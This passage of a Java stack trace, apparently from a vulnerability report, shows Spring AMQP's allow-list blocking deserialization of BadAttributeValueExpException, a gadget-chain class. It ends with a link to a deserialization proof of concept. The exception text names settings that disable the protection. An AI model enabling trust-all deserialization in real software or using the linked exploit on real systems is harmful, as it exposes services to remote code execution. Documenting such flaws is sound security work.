at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.doReceiveAndExecute(SimpleMessageListenerContainer.java:994) [spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.receiveAndExecute(SimpleMessageListenerContainer.java:941) [spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer.access$1600(SimpleMessageListenerContainer.java:86) [spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.mainLoop(SimpleMessageListenerContainer.java:1323) [spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.SimpleMessageListenerContainer$AsyncMessageProcessingConsumer.run(SimpleMessageListenerContainer.java:1225) [spring-rabbit-2.4.17.jar:2.4.17]
at java.lang.Thread.run(Thread.java:750) [na:1.8.0_362]
Caused by: java.lang.SecurityException: Attempt to deserialize unauthorized class javax.management.BadAttributeValueExpException; add allowed class name patterns to the message converter or, if you trust the message orginiator, set environment variable 'SPRING_AMQP_DESERIALIZATION_TRUST_ALL' or system property 'spring.amqp.deserialization.trust.all' to true
at org.springframework.amqp.utils.SerializationUtils.checkAllowedList(SerializationUtils.java:164) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.support.converter.AllowedListDeserializingMessageConverter.checkAllowedList(AllowedListDeserializingMessageConverter.java:61) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.support.converter.SimpleMessageConverter$1.resolveClass(SimpleMessageConverter.java:184) ~[spring-amqp-2.4.17.jar:2.4.17]
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1988) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1852) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2186) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:503) ~[na:1.8.0_362]
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:461) ~[na:1.8.0_362]
at org.springframework.amqp.utils.SerializationUtils.deserialize(SerializationUtils.java:101) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.support.converter.SimpleMessageConverter.fromMessage(SimpleMessageConverter.java:113) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.adapter.AbstractAdaptableMessageListener.extractMessage(AbstractAdaptableMessageListener.java:343) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter$MessagingMessageConverterAdapter.extractPayload(MessagingMessageListenerAdapter.java:367) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.support.converter.MessagingMessageConverter.fromMessage(MessagingMessageConverter.java:132) ~[spring-amqp-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.toMessagingMessage(MessagingMessageListenerAdapter.java:244) ~[spring-rabbit-2.4.17.jar:2.4.17]
at org.springframework.amqp.rabbit.listener.adapter.MessagingMessageListenerAdapter.onMessage(MessagingMessageListenerAdapter.java:147) ~[spring-rabbit-2.4.17.jar:2.4.17]
... 11 common frames omitted
|
PoC
https://github.com/X1r0z/spring-amqp-deserialization